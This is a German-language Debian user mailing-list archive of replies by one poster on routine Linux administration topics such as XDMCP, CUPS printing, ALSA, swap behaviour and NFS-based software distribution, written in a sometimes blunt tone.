> > On Fri, Mar 12, 2004 at 01:01:06PM +0100, Frank Lorenzen wrote:
> > [...] kdm und XDMCP
> > > grep -i requestport /etc/X11/xdm/xdm-config
> > > !DisplayManager.requestPort:   0
> > > 
> > > Das ist XDM! Für kdm wird es etwas equivalentes geben.
> > 
> > Mir fiel gerade ein daß hier auch noch ein kdm herumgammelt:
> > /etc/kde3/kdm/kdmrc:
> > [...]
> > [Xdmcp]
> > # Whether KDM should listen to XDMCP requests. Default is true.
> > Enable=false
> > [...]
> 
> Das das auf true steht hatte ich doch geschrieben oder?

Oh, hab ich glatt überlesen. Ich werde wohl doch nicht um eine neue
Brille drumrumkommen.
Sorry.

> Andreas


gruss
f



Re: XDMCP oder alternativen

2004-03-12 Diskussionsfäden Frank Lorenzen
On Fri, Mar 12, 2004 at 01:01:06PM +0100, Frank Lorenzen wrote:
[...] kdm und XDMCP
> grep -i requestport /etc/X11/xdm/xdm-config
> !DisplayManager.requestPort:   0
> 
> Das ist XDM! Für kdm wird es etwas equivalentes geben.

Mir fiel gerade ein daß hier auch noch ein kdm herumgammelt:
/etc/kde3/kdm/kdmrc:
[...]
[Xdmcp]
# Whether KDM should listen to XDMCP requests. Default is true.
Enable=false
[...]


gruss
f


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Re: XDMCP oder alternativen

2004-03-12 Diskussionsfäden Frank Lorenzen
On Thu, Mar 11, 2004 at 11:09:04AM -0800, Andreas Pakulat wrote:
> Hi,
> 
> ich wollte mir den Desktop meines Laptop auf die Arbeit holen. Erste
> Idee war VNC: Mist da muss ich auf dem Laptop X11 ja schon laufen
> haben, also wird das heute nichts. Dann fiel mir ein das X11 das ja
> auch kann. Ist zwar total unsicher, aber mal schauen. XDMCP mit kdm
> denke ich ist eingerichtet, sprich ich hab Enable=True und die 2
> "*"-Zeilen in der Xaccess in /etc/kde3/kdm eingebunden. So dann kdm
> starten und firewall aendern, so dass udp 177 und tcp 6000 durchgehen.
> 
> Dann auf dem Arbeitserechner Cygwin installiert und mittels X -request
> meinhostname versucht raufzukommen: Ergebnis ist, ein X11-Fenster
> oeffnet sich, das ist aber leer :-(
> 
> Also jemand Tips/Infos was ich noch machen muss, oder besser noch ne
> Alternative. ssh+X11Forward faellt aus, da ich so ca. 6-7 Apps laufen
> haben werde  
> 
> Ich weiss sind keine sehr genauen Infos, aber ich hab nach dem XDMCP
> HowTo nichts gesehen was ich noch haette machen sollen, alle anderen
> kdm/cygwin Einstellungen sind Standard. Ach ja KDE3.2 auf sid.

grep -i requestport /etc/X11/xdm/xdm-config
!DisplayManager.requestPort:   0

Das ist XDM! Für kdm wird es etwas equivalentes geben.

> Andreas

gruss
f


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Re: Q: Etherboot per LILO statt PXE BootROM?

2004-03-04 Diskussionsfäden Frank Lorenzen
On Sun, Feb 29, 2004 at 09:55:02PM +0100, Rudi Effe wrote:
> Liebe Liste,
> 
> normalerweise verwendet man Etherboot (z.B. per PXE), wenn man diskless 
> thin clients von einem Terminalserver (z.B. ltsp) booten möchte. 
> Insofern scheint meine Frage ungewöhnlich. Wir haben aber einige 
> bestehende Rechnersysteme (Thick Clients, also Desktoprechner mit 
> Platte), die wir optional als Client vom Terminalserver booten wollen. 
> 
> Wenn wir (was einen gewissen Aufwand bedeutet) alle Netzkarten mit dem 
> PXE-ROM nachrüsten, müsste man vermutlich jedesmal im Bios einstellen, 
> ob via LAN oder von Platte gebootet werden soll. (Stimmt das so?).
> 
> Da wir aber eine Platte haben, muss es doch möglich sein, die 
> erforderliche Bootroutine in das Lilo einzubinden, das eh drauf ist. 
> Hat jemand damit Erfahrungen oder kennt eine entsprechende Anleitung?

Du kannst den Kernel der normalerweise über das Netz gebootet wird auch
lokal inatallieren und im Lilo einrichten.
Das wirft natürlich das Konzept der einfachen (Kernel)-Wartbarkeit über
den Haufen. rsync könnte da helfen.
Da du 'Diskless'-Clients mit Disks hast, könnten man auch einmal über
ein geschickt im init-Prozess verstecktes 'hdparm -y $DISK' nachdenken.

> Danke vielmals
> Ciao
> rUdi

gruss
f


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Re: libstdc++.so.5

2004-02-20 Diskussionsfäden Frank Lorenzen
On Tue, Feb 17, 2004 at 02:55:21PM +0100, Florian Ernst wrote:
> Hallo Klaus!
> 
> On Tue, Feb 17, 2004 at 01:54:14PM +0100, Klaus Becker wrote:
> >unter woody habe ich firefox unter /home/.../opt installiert. Beim Aufruf 
> >bekomme ich:
> >
> >/home/daten/opt/firefox/firefox
> >/home/daten/opt/firefox/firefox-bin: error while loading shared libraries: 
> >libstdc++.so.5: cannot open shared object file: No such file or directory.
> >
> >Wo bekomme ich libstdc++.so.5 her ?
> 
> Die gibt es nicht unter einem reinen Woody, aber es gibt Backports.
> Such Dir eines der Pakete 'libstdc++5' von
> http://www.apt-get.org/search.php?query=libstdc&submit=Submit&arch%5B%5D=i386
> aus, die von Adrian Bunk dürften wohl zu empfehlen sein...

Wenn man faul ist könnte man auch einfach das "andere" firefox tgz
nehmen. Namentlich 'firefox-0.8-i686-pc-linux-gnu.tar.gz' anstatt
'firefox-0.8-i686-linux-gtk2+xft.tar.gz'.

> Gruß,
> Flo


gruss
f



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Re: Routing

2004-02-12 Diskussionsfäden Frank Lorenzen
On Thu, Feb 12, 2004 at 10:06:20AM +0100, Daniel Bauer wrote:
[...]
> > Was Du hier vorzeigst, verlangt nach einer Bridge und nicht nach
> > Routing.
> 
> kennst Du hier einen Ansatz wie ich das realisiere bzw. wonach ich
> suchen kann???

Wie wäre es mit 'Linux Bridge' oder 'Linux Bridging'? Du kannst
natürlich auch nach 'Currywurst Pommes' suchen wenn du magst, jedoch
wird dich das bei deinem Netzwerkproblem schätzungsweise wenig
weiterbringen.

Fragen gibts, die gibts garnicht...

PS: Soweit ich weiß gibt/gab es mal ein Bridging-Mini-Howto.

> Danke
> Daniel

gruss
f


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Re: GLIBC_2.3

2004-01-27 Diskussionsfäden Frank Lorenzen
On Tue, Jan 27, 2004 at 04:24:34PM +0100, Werner, Gunter wrote:
> Hi,
> ich habe XFree86 upgedatet auf 4.2. nun habe ich das Problem das
> Fehlermeldung beim starten vom X-server bekomme.
> Es fehlt die GLIBC_2.3. 
> Alle versuche mir diese zu besorgen schlugen fehl.
> 
> Folgendes schon probiert:
> 
> dpkg-reconfigure -a
> 
> apt-get install glibc
> 
> auch andere Packete die verbindung mit dieser Datei sind verucht zu
> aktualisieren. Kein Erfolg !
> 
> Kann mir jemand sagen wo ich diese Datei runterladen kann.

Viel interesantere Frage: Wo hast Du das XFree her?

Zumindest Woody hat nur glibc 2.2.

> Danke im voraus.
> 
> Guter 

gruss
f


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Re: Virus???

2004-01-26 Diskussionsfäden Frank Lorenzen
On Tue, Jan 27, 2004 at 12:21:46AM +0100, Jan Kohnert wrote:
Content-Description: signed data
> Seit ich in der Liste bin, krieg ich immer wieder Virusmails (OK ich weiß, ich 
> könnte mit fetchmail und einem Virusscanner arbeiten :-) )
> Kriegt die noch jemand und ist hier jemand mit M$ Outlook der das Virus 
> verteilen könnte???
> Kann leider den Ursprung nicht so recht feststellen...

Bitte lerne die Nutzen und Risiken der internationalen Vernetzung
kennen.
Du bist hier nicht in einem elitären Schicki-Micki-Club in dem du evtl.
alle anderen Schicki-Mickis persöhnlich kennst, sondern  eher auf einem
großen Basar auf den jeder kommen darf und dir, so er dich denn erst
einmal gesichtet hat, auch auf dich schießen kann.
Jetzt hast du eine kleine Fleischwunde und heulst dich hier aus.
Du armer. Hätte dich der schießende Mistkerl besser getroffen würdest du
hier wenigstens nicht mehr rumheulen.

> MfG Jan


gruss
f

PS: Mir geht dieses in letzter Zeit aufkommende "Hilfe ich bekomme
Viren" dermaßen auf den Senkel. HALLO LEUTE, seid euch mal bewußt wo
euer Geschreibsel überall landet bzw. auch archiviert wird.


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Re: Unable to handle kernel paging request

2004-01-23 Diskussionsfäden Frank Lorenzen
On Sat, Jan 24, 2004 at 12:00:26AM +0100, Andreas Tille wrote:
> Hallo,
> 
> kann mir jemand sagen, worauf diese aller 5 minuten auftretenden Meldungen
> im Syslog zurückzuführen sein könnten.  Der Rechner hat jetzt eine uptime
> von 4 Tagen, lief vorher mehrere Monate ununterbrochen ohne jedes Problem
> und seit drei Stunden bekomme ich periodisch diese Meldungen ...

Schau mal ob sich noch alle Lüfter mit der ihnen zugedachten Drehzahl drehen,
laß mal memtest laufen, ziehe mal alle Ram-Module und steck sie wieder
rein, tausche mal testhalber RAM und CPU, gib Zwischenberichte ab.

> Viele Grüße
> 
>   Andreas.


gruss
f


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Re: Konsole nicht erreichbar (dringend)

2004-01-23 Diskussionsfäden Frank Lorenzen
On Fri, Jan 23, 2004 at 09:27:13PM +0100, Michael Abel wrote:
> On Fri, 23 Jan 2004 20:38:03 +0100 Frank Lorenzen <[EMAIL PROTECTED]> wrote:
[...]
> > Könntest du mal zu Testzwecken eine andere Grafikkarte in den Rechner
> > stecken? Ich hatte sowas auch mal: Absturz von X (wohl durch das
> > Teilweise Ableben der Grafikkarte), neu gebootet und komisches "overlay"
> > gehabt. Wie gesagt, bei mir war die Grafikkarte kaputt.
> > 
> 
> Oh, Du machst mich hellhörig,
> 
> Könntest du mal dieses overlay beschreiben?
> Wenn du mit komischem "overlay" nämli  meinst daß manchmal nach dem 
> einschalten des Rechners spaltenweise lustige Zeichen blinken, und der 
> ganze Zirkus nach einem neustart dann wieder verschwindet.
> Dann sollte ich wohl mal eine andere Graphikkarte ausprobieren ( Danke 
> für den Tip : ) .

Mit "overlay" meinte ich das von Dir beschriebene Verhalten, daß über
der Konsole ein schemenhafter xdm|kdm|whatever drüberhängt und du die
Konsole garnicht oder nur teilweise sehen kannst obwohl sie auf Befehle
reagiert. Es wird also die Bildschirmausgabe verschluckt.

Lustig blinkende Zeichen sind normalerweise Alarmstufe Rot. Zumindest
wenn sie _nicht_ unter X auftreten.
Da die heutigen Rechner weniger robust sind als früher, kann ich mir die
Frage ob evtl. eine Schraube lustig auf dem Motherboard herumkullert
eigentlich sparen. Hatte ich mal auf einem 8086. Schraube lokalisiert
(schüttel), herausgenommen, läuft bis heute.
BTW: Auch Lüfter drehen nicht bis zum St. Nimmerleinstag.

> Mein X-Server schmiert so alle par Wochen/Tage mal ab, was mich sowieso ein 
> wenig ratlos stimmt. Solch ein gemeiner Konsolenblocker wie heute ist mir hier 
> zwar schon früher ein paarmal vorgekommen, aber damals habe ich den Treiber
> aktualisiert, und hatte dann lange keine Probleme mehr. Mal schaun ...

Ich Wette 5 FRZ auf NVidia-Gerümpel. Stimmts?
Zur Ehrenrettung von NVidia muß ich natürlich sagen: Wenn deine GRaKA
_wirklich_ kaputt ist kann es natürlich daran gelegen haben.

X läuft bei mir seit Jahren stabil auf einem bunt gemischten
Harware-Zoo. 3x Voodoo, 5x MGA-550, etliche S3, einige Cirrus, 1x ATI,
1x SiS-irgendwasfestaufdemBoard, diverse ISA-Karten sowie eine DEC-21030
aus einer Alpha-Station. Außerden existiert noch eine MGA-400 die
gelegentlich mal Zickt was sie aber darf, da sie immerhin einen
Blitzschlag überlebt hat.

> Gruß Micha


gruss
f


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Re: Konsole nicht erreichbar (dringend)

2004-01-23 Diskussionsfäden Frank Lorenzen
On Fri, Jan 23, 2004 at 07:54:29PM +0100, Michael Abel wrote:
> On Fri, 23 Jan 2004 19:21:51 +0100
> Jan L <[EMAIL PROTECTED]> wrote:
> 
> ... 
> > Das glaube ich nicht. Wenn dort etwas gescannt wird geschieht dieses vor dem 
> > Starten des XServers.
> 
> Wenn ich selbst den Prozess starte, kann ich ja auch nach dem starten des X-Servers 
> auf eine Textkonsole wechseln und dort arbeiten, dann läuft der Prozess auch nachdem 
> der X-Server gestartet ist. 
> Das Problem war dass bei mir Programme auf Textkonsolen liefen ohne dass ich die 
> Ausgaben dazu ansehen konnte weil ein Standbild des KDM-Loginfensters zu sehen war.
> Wie es dazu kommen kann weis ich noch nicht :) .

Könntest du mal zu Testzwecken eine andere Grafikkarte in den Rechner
stecken? Ich hatte sowas auch mal: Absturz von X (wohl durch das
Teilweise Ableben der Grafikkarte), neu gebootet und komisches "overlay"
gehabt. Wie gesagt, bei mir war die Grafikkarte kaputt.


> Gruss micha 


gruss
f


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Re: HP Color LaserJet 4600n mit CUPS

2004-01-23 Diskussionsfäden Frank Lorenzen
On Fri, Jan 23, 2004 at 07:54:58AM +0100, Rüdiger Noack wrote:
> Frank Lorenzen wrote:
> >Bei Debian heißt das Ding 'foomatic' und das interessante daran dürften
> >wohl weniger die ppd's sein sondern eher das 'and filter backends'.
> >
> Installiert ist:
> 
> ii  foomatic-bin   0.20020408-4   Printer/Driver database and print 
> system...
> ii  foomatic-db0.20020408-4   Printer/Driver database and print 
> system...
> 
> Ich verstehe leider nichts von CUPS. Bisher habe ich damit immer Drucker 
> out of the box installieren können.
> Was sind denn diese "filter backends"?

Irgendein Programm welches von CUPS aufgerufen wird (getriggert durch
die Einstellungen im ppd) um am Druckdatenstrom irgendwas zu ändern.

Das war jetzt sehr allgemein gehalten. Du könntest mal das Logging in
cupsd.conf auf debug oder debug2 stellen? Ich hatte vor _langer_ Zeit
mal ein Problem mit Cups das sich nach Durchsicht der Logfiles dann
spontan auflöste. Du mußt nur mal den Loglevel hochdrehen und
nachschauen wobei er auf die Nase fällt.

> Gruß
> Rüdiger


gruss
f


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Re: Kernel-Bug (at checkpoint.c 587)

2004-01-22 Diskussionsfäden Frank Lorenzen
On Thu, Jan 22, 2004 at 04:02:33PM +0100, Michelle Konzack wrote:
> Hallo Leute, 
> 
> seit gestern kackt mir laufend mein ADSL-Router mit nem Kernel-Bug ab.
> 
> Assertion failure in __jounal_drop_transaction() at checkpoint.c 587: 
> "transaction->t_ilist == NULL"
> kernel_BUG at checkpoint.c:587!
> invalid operand: 
> CPU:0
> EIP:...
> ...
> 
> Message from [EMAIL PROTECTED] at Thu Jan 22 15:50:47 2004 ...
> adsl kernel: Assertion failure in __jounal_drop_transaction() at checkpoint.c 587: 
> "transaction->t_ilist == NULL"
> 
> 
> Was soll ich damit anfangen ?
> 
> Aus technic'schen gründen kann ich derzeit keinen neuen Kernel 
> mehr kompilieren, da ich kein Diskspace mehr frei habe. 
> 
> Derzeit läuft Linux 2.4.22
> 
> Die Frage ist, hängt es mit em FTP-Protocoll zusammen ?

ext3 oder ähnliches.

> Denn der Kernel läuft eigentlich ganz gut, solange ich nicht 
> irgendwie das FTP-Protocoll verwende (mozilla, wget, gftp).
> 
> Grüße
> Michelle


gruss
f


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Re: HP Color LaserJet 4600n mit CUPS

2004-01-22 Diskussionsfäden Frank Lorenzen
On Thu, Jan 22, 2004 at 10:25:51AM +0100, Ruediger Noack wrote:
> Moin
> 
> Man hat hier im Büro die Drucker ausgetauscht und o.g. Modell
> hingestellt. 
> Lt. www.linuxoprintig.org läuft das Teil perfekt unter CUPS. Ich habe
> also das dort angebotene ppd-file geladen und den Drucker damit
> installiert. Funktioniert leider nicht. :-(
> 
> In /var/logaber/cups/error_log find ich:
> 
>   snip 
> ---
> E [22/Jan/2004:09:36:30 +0100] PID 1750 stopped with status 22!
>   snip 
> ---
> 
> Zu Status 22 habe ich nichts wirklich hilfreiches gefunden.

Hmm, "cups stopped with status 22" in google geworfen bringt als ersten
Treffer 'www.linuxprinting.org/pipermail/hp-list/2003q3/003824.html'.
Dort eine Mail vornedran steht:
Till said, "It seems that cupsomatic is missing on your machine.
Probably you have missed to install one Gentoo package."

This was the answer.  I just emerged foomatic and it upgraded from 2.0
to 3.0 and added a few new packages.  I re-added the printer and
everything prints again.  Thanks!
[...]

Bei Debian heißt das Ding 'foomatic' und das interessante daran dürften
wohl weniger die ppd's sein sondern eher das 'and filter backends'.

> Richte ich ihn als LaserJet 4 oder 6 ein, funktioniert er. Dann kann ich
> aber leider nicht die netten Funktionen wie Farbdruck, Espressoautomat,
> Bügelmaschine, ... nutzen. Schade eigentlich... ;-)

Erzähl mir dann aber bitte wie der Espresso schmeckt, wenn das Ding dann
läuft. ;-)

> 
> Hat jemand einen Tipp, was man tun könnte?
> 
> Gruß und Dank im voraus
> Rüdiger


gruss
f


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Re: Apache Problem

2003-12-23 Diskussionsfäden Frank Lorenzen
On Mon, Dec 22, 2003 at 04:56:07PM +0100, Reinhold Plew wrote:
[...]

> >Hmmm, was ist an 'No process in pidfile .. found running; none killed'
> >unverständlich?
> >
> 
> für mich eigentlich nichts aber wohl für den OP

Ok, ich lasse den unwichtigen Teil mal weg.


'No process found running; none killed.'

> >>>| found running; none killed.
> >>
> >>^
> >>läuft aber wohl trotzdem

Get the point?



gruss
f


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Re: Apache Problem

2003-12-22 Diskussionsfäden Frank Lorenzen
On Mon, Dec 22, 2003 at 04:31:14PM +0100, Reinhold Plew wrote:
> 
> 
> Andreas Fuchs schrieb:
> 
> >hi,
> >
> >mein Apache will sich einfach net starten lassen:
> >
> >,
> >| gott:/var/run# sh /etc/init.d/apache restart
> >| Reloading apache modulesNo process in pidfile `/var/run/apache.pid'
>   ^
> da steht wohl nichts im apache.pid
> 
> >| found running; none killed.
>  ^
> läuft aber wohl trotzdem
[...]

Hmmm, was ist an 'No process in pidfile .. found running; none killed'
unverständlich?



gruss
f


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Re: Header-Einträge von spamassassin ändern

2003-12-22 Diskussionsfäden Frank Lorenzen
On Sat, Dec 20, 2003 at 07:21:27PM +0100, Thilo Engelbracht wrote:
> Hallo Liste!
> 
> Auf meinem Linux-Server (Debian 3.0) ist u.a. spamassassin installiert.
> 
> Bei jeder Nachricht, die durch den Filter läuft, werden im Header der 
> E-Mail folgende Informationen hinzugefügt:
> 
> [beispiel]
> X-Spam-Level: *
> X-Spam-Status: Yes, hits=5.2 required=4.0 tests=[diverse Angaben] 
> version=[Programmversion]
> [/beispiel]
> 
> Nun möchte ich erreichen, dass
> - die Angabe "X-Spam-Level:" durch "HS-Spam-Level:" ersetzt wird
> - die Angabe "X-Spam-Status:" durch "HS-Spam-Status:" ersetzt wird
> (HS=HeimServer)
> 
> 
> In welcher Datei kann ich die "spamassassin-Header-Namen" (was für ein 
> Wort!) editieren?

Wirf mal einen Blick in
'/usr/share/perl5/Mail/SpamAssassin/PerMsgStatus.pm'.

Ich würde in Anbetracht deiner Namenswahl für die Header auch mal einen
Blick in RFC 822 werfen. Im Speziellen Abschnitt 4.7.4 und 4.7.5.

> Vielen Dank für Eure Mühe!
> 
> Gruß,
> 
> Thilo

gruss
f


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Re: TFTs unter XFree/KDE

2003-12-10 Diskussionsfäden Frank Lorenzen
On Tue, Dec 09, 2003 at 11:34:27PM +0100, Thomas Templin wrote:
[...]
> Die Fa. Reichelt Elektronik in Sande, http://www,reichelt.de/ , zwei mal 
> umfallen von meiner Haustür entfernt, hat die MATROX G550 DH für 92.90EUR im 
> Programm. Die Karte ist für den normalen Desktop Betrieb unter GNU/Linux 
> hervorragend geeignet.
[...]

Brauch man eigentlich immer noch ein Binary-Modul wenn man den
DVI-Ausgang nutzen will oder hat sich das erledigt?

> Tschüss,
> Thomas


gruss
f


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Re: zentrale Software Installation

2003-12-09 Diskussionsfäden Frank Lorenzen
On Tue, Dec 09, 2003 at 08:11:47PM +0100, Matthias Albert wrote:
> Am Dienstag, 9. Dezember 2003 16:33 schrieb Henning Glawe:
> > On Tue, Dec 09, 2003 at 03:37:21PM +0100, Matthias Albert wrote:
> > > Mein Problem ist, dass ich immer mehr zu betreuende Rechner habe.
> > > Bestückt mit Suse 7.x - 9.0, Debian Woody, Redhat 8.x -9.0.
> > >
> > > Ich möchte nicht dass wenn ich ne neue Software bekomme oder rauskommt,
> > > z.B Eclipse, OpenOffice etc. dass ich auf allen Rechnern die Software
> > > installieren muss.
> > >
> > > Wie macht ihr sowas, wie könnte man sowas machen?
> >
> > ich administriere hier ca. 100 rechner mit FAI, das allerdings nur mit
> > debian laeuft (nicht ganz richtig, angeblich soll es auch mit solaris
> > gehen). damit werden bei uns die systeme sowohl installiert als auch
> > administriert.
> > da das system sehr maechtig und flexibel ist, faellt die
> > einarbeitungszeit eher lang aus.
> 
> FAI ist mir bekannt. Leider ist es bei uns aber so dass wir eben verschiedene 
> Distributionen haben (wir sind ne Softwareentwicklungsfirma) und brauchen 
> eben auch die verschiedenen Distris. 
> Haben unter anderem auch PowerPC's, Sparcs, Arm etc. 
> 
> Mir gehts aber nur um die Linux Kisten. Ne fertige Software scheint es also 
> nicht zu geben.
> Der Weg über NFS ist mir soweit auch bekannt, dachte nur dass es eben fertige 
> Programme für sowas gibt.
> Das Linux Terminal Server Projekt kenn ich nicht schau ich mir mal an...aber 
> so wie ich einen Terminal Server kenne -> gibt es einen zentralen starken 
> Server und dumme Clients...<- wenn das auch so ist..-> Nein.

Nur mal so als Denkanstoß:
Die von mir erwähnte NFS-Geschichte läßt sich bei hinreichend großem
Pool an zu  betreuender Architektur/Distribution natürlich auch
dahingehend erweitern, daß _grundsätzlich_ im Suchpfad erstmal ein
Shellscript herumlungert welches abhängig von Distribution/Architektur
dann das passende Binary aufruft. Damit hättest du zwar immernoch den
Pflegeaufwand verschiedener Versionen, allerdings auf _einen_ Rechner
gebündelt.

> Merci für die Postings.
> 
> Viele Grüsse,
> 
> Matthias


gruss
f


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Re: swap voll - ram leer ?!?

2003-12-09 Diskussionsfäden Frank Lorenzen
On Tue, Dec 09, 2003 at 08:31:39PM +0100, Thorsten Gowik wrote:

[...]
> > Ahh, Linux 2.6 schein sich das mit dem "stets ein wenig Swap" abgewöhnt
   ^^^
> > zu haben. 
> > 
> Hmm das stimmt wohl so nicht...
> 
> total:used:free:  shared: buffers:  cached:
>   Mem:  528117760 428765184 993525760 137158656
>   178438144
>   Swap: 2147467264  4677632 2142789632
>   MemTotal:   515740 kB
>   MemFree: 97024 kB
>   MemShared:   0 kB
>   Buffers:133944 kB
>   Cached: 173480 kB
>   SwapCached:776 kB
>   Active: 204028 kB
>   Inactive:   147728 kB
>   HighTotal:   0 kB
>   HighFree:0 kB
>   LowTotal:   515740 kB
>   LowFree: 97024 kB
>   SwapTotal: 2097136 kB
>   SwapFree:  2092568 kB
> 
> tux-eins 2.4.22-1-686 #6 Sat Oct 4 14:09:08 EST 2003 i686 GNU/Linux
   ^^
> 20:30:11 up 22 days,  3:25
> 
> Irgendwie sehe ich hier unter Kernel 2.4.XX fast keinen Swap. Also
> stimmt da wohl eher etwas nicht, oder sehe ich das nun falsch?

Warum? Er belegt doch "ein wenig" Swap. Das ist genau das, was ich
meinte. Und 2.6 scheint sich das abgewöhnt zu haben.

> Gruß
> Thorsten

gruss
f


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Re: zentrale Software Installation

2003-12-09 Diskussionsfäden Frank Lorenzen
On Tue, Dec 09, 2003 at 03:37:21PM +0100, Matthias Albert wrote:
> Hallo zusammen,
> 
> kann mir von euch jemand eine Software empfehlen bzw. was vorschlagen wie ich 
> eine zentrale Software Installation durchführen kann?
> 
> Mein Problem ist, dass ich immer mehr zu betreuende Rechner habe. Bestückt mit 
> Suse 7.x - 9.0, Debian Woody, Redhat 8.x -9.0.
> 
> Ich möchte nicht dass wenn ich ne neue Software bekomme oder rauskommt, z.B 
> Eclipse, OpenOffice etc. dass ich auf allen Rechnern die Software 
> installieren muss.
> 
> Wie macht ihr sowas, wie könnte man sowas machen?

Ich habe das hier mit '/opt' gelöst. Dickere Software wie z.B.
OpenOffice landen bei mir in /opt/distributions/-.
Anschließend wird in /opt/bin ein Link oder Shellscript mit dem Namen
der Software plaziert. /opt ist per nfs verteilt und /opt/bin in allen
Shells auf allen Rechnern im Pfad.

Allerdings habe ich hier nur Woody-Kisten. Ob und wie sich das mit
verschiedenen Linux-Distributionen in verschiedenen Versionen verträgt
kommt, wie immer, auf das konkrete Setup an.

> Viele Grüsse,
> 
> Matthias

gruss
f


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Re: Kernel 2.6 und ALSA

2003-12-09 Diskussionsfäden Frank Lorenzen
On Tue, Dec 09, 2003 at 11:34:38AM +0100, J-T Krug wrote:

[...]
> Hallo,
> 
> ich hatte das 'used by' Problem auch, der Sound funktionierte trotzdem.
> Das sind 2 voneinander unabhängige Probleme. Das 'used by'-Problem löste 
> sich bei mir nachdem ich den Schalter CONFIG_MODULE_UNLOAD der 
> Kernelkonfiguration gesetzt hatte.
> 
> siehe: 
> http://lists.debian.org/debian-user-german/2003/debian-user-german-200312/msg00429.html

Stimmt, da war was vor ein paar Tagen. Jetzt wo du's sagst.

> Günther poste mal das Ergebnis, ob sich diese Problem auch so löst, ich 
> war mir da nicht ganz sicher.
> 
> Gruß Jörg

gruss
f


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Re: Kernel 2.6 und ALSA

2003-12-09 Diskussionsfäden Frank Lorenzen
On Tue, Dec 09, 2003 at 10:06:50AM +0100, Guenther Theilen wrote:
> Moin, 
> 
> nach meinem Umstieg auf kernel-2.6.0-test9 habe ich Probleme ALSA Töne zu 
> entlocken. 

[...] 

> lsmod sagt folgendes: 
> Module  Size  Used by 
> parport_pc 36828  - 
> lp  8480  - 
> parport35720  - 
> apm14636  - 
> snd_ens137118180  - 
> snd_rawmidi17376  - 
> snd_pcm82340  - 
> snd_page_alloc  8804  - 
> snd_timer  19844  - 
> snd_ac97_codec 51172  - 
> nls_cp437   5216  - 
> ide_scsi   11680  - 
> usbkbd  5792  - 
> usbcore93436  - 

Mich wundert hier die 'Used by' Spalte.

snd_pcm_oss48772  0 
snd_mixer_oss  15488  1 snd_pcm_oss
snd_cmipci 24984  0 
snd_pcm83584  2 snd_pcm_oss,snd_cmipci
snd_page_alloc  9604  1 snd_pcm
snd_opl3_lib9088  1 snd_cmipci
snd_timer  20864  2 snd_pcm,snd_opl3_lib
snd_hwdep   7680  1 snd_opl3_lib
snd_mpu401_uart 6144  1 snd_cmipci
snd_rawmidi19968  1 snd_mpu401_uart
snd_seq_device  6916  2 snd_opl3_lib,snd_rawmidi
snd43808  10snd_pcm_oss,snd_mixer_oss,snd_cmipci,
snd_pcm,snd_opl3_lib,snd_timer,snd_hwdep,
snd_mpu401_uart,snd_rawmidi,snd_seq_device
soundcore   7616  1 snd

Ich benutze die OSS-Emulation. Die 'oss' Module müssen also bei dir
nicht auftauchen. Ich habe eine cmi-pci Karte.

Geladen wird der ganze Krempel aus /etc/modules:
[...]
snd-cmipci
snd-mixer-oss
snd-pcm-oss
[...]

Das wars. Ich war selbst überrascht, daß das so einfach ist war es doch
mein erster Kontakt mit ALSA.

[...]
> Uff, langer Text, evtl. fällt ja jemanden was auf, ich bin nämlich so langsam 
> mit meinem Latein am Ende... 
> 
> Gruesse
> Günther


gruss
f


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Re: swap voll - ram leer ?!?

2003-12-09 Diskussionsfäden Frank Lorenzen
On Mon, Dec 08, 2003 at 05:12:10PM +0100, Thomas Lusar wrote:
> Hallo Liste,
> 
> kann mir bitte mal das Verhalten von Swap und Ram erklären. Also, bi jetzt 
> bin ich davon ausgegangen, dass erst der Arbeitsspeicher "voll" gemacht 
> wird - erst wenn dieser nicht mehr reicht, fängt Linux an zu swappen.

Also "ein wenig" swapt Linux immer. Aber ansonsten dachte ich genau wie
du auch.

> Hab hier einen Rechner, Debin 3.0, Kernel 2.4.20, 1GB Ram ohne High-Mem 
> Support, 256MB Swap. Der Arbeitsspeicher ist meist zu 30% voll. Die 
> Swappartion aber ist meist um die 60% voll.

MemTotal:  2072492 kB
MemFree: 21400 kB
Buffers: 42296 kB
Cached: 995588 kB
SwapTotal: 2097136 kB
SwapFree:  2097136 kB

Ahh, Linux 2.6 schein sich das mit dem "stets ein wenig Swap" abgewöhnt
zu haben. 

> Ich verstehe nicht ganz, warum soviel Swap belegt ist.

Das verstehe ich auch nicht. Hast du viel "bewegung" im speicher, sprich
es wird viel gerechnet so daß dafür extreme Mengen an Speicher
freigehalten werden?

> Danke für die Hilfe
> 
> mfg
> tom


gruss
f


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Re: mutt und gpg

2003-12-08 Diskussionsfäden Frank Lorenzen
On Mon, Dec 08, 2003 at 12:17:17PM +0100, Thomas Sommer wrote:
> Ok, von der Idee das RE durch AW zu ersetzten bin ich abgekommen,
> aber gibt es eine Möglichkeit mutt so zu konfigurieren, daß
> jede E-Mail automatisch verschlüsselt wird.

Wenn du wert darauf legst daß deine Mails auch gelesen werden, würde ich
von der Idee mit dem verschlüsseln abkommen und sie stattdessen
signieren.

Zum praktischen Teil wurde ja schon geschrieben.

> Danke
> 
> Thomas


gruss
f


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Re: libpam-ldap und tls?

2003-12-04 Diskussionsfäden Frank Lorenzen
On Thu, Dec 04, 2003 at 12:32:44PM +0100, Lukas Kolbe wrote:
> Am Mo, den 01.12.2003 schrieb Frank Lorenzen um 17:25:
> 
> [pam-ldap & tls]
> 
> > Du könntest zumindest mal für den Moment
> > 'http://linuxlounge.fh-worms.de/files/debian-local/dists/woody/ldap/binary-i386/ldap/libpam-ldap_140-1_i386.deb'
> > nehmen. Nach dem Installieren aber sofort festpinnen (=) ich habe damals
> > als ich das gebaut habe keine Erweiterung der Versionsnummer vorgesehen
> > so daß apt das mit den Original-Debs überbügeln will.
> 
> Danke, das funktioniert! Ich hoffe, du hast kein Backdoor eingebaut ;)

Nein, da kannst Du beruhigt sein. Ich baue im Allgemeinen keine
Backdoors ein. ;-)

> Lukas Kolbe <[EMAIL PROTECTED]>

gruss
f


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Re: Debian mit 2.5/2.6er Kernel

2003-12-02 Diskussionsfäden Frank Lorenzen
On Tue, Dec 02, 2003 at 09:36:35PM +0100, Andreas Kuckartz wrote:
> Wie bzw. wo komme ich an Debian mit 2.5/2.6er Kernel?

Du compilierst dir einen 2.6 und spielst die updates von
'deb http://linuxlounge.fh-worms.de/files/debian-local woody k26-sys'
ein. 'module-init-tools' nicht vergessen.

> Andreas


gruss
f


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Re: libpam-ldap und tls?

2003-12-01 Diskussionsfäden Frank Lorenzen
On Mon, Dec 01, 2003 at 03:58:07PM +0100, Lukas Kolbe wrote:
> Am Mo, den 01.12.2003 schrieb Frank Lorenzen um 14:43:
> > > Ja, schon. Aber auch die Version aus unstable, die ich fuer Woody
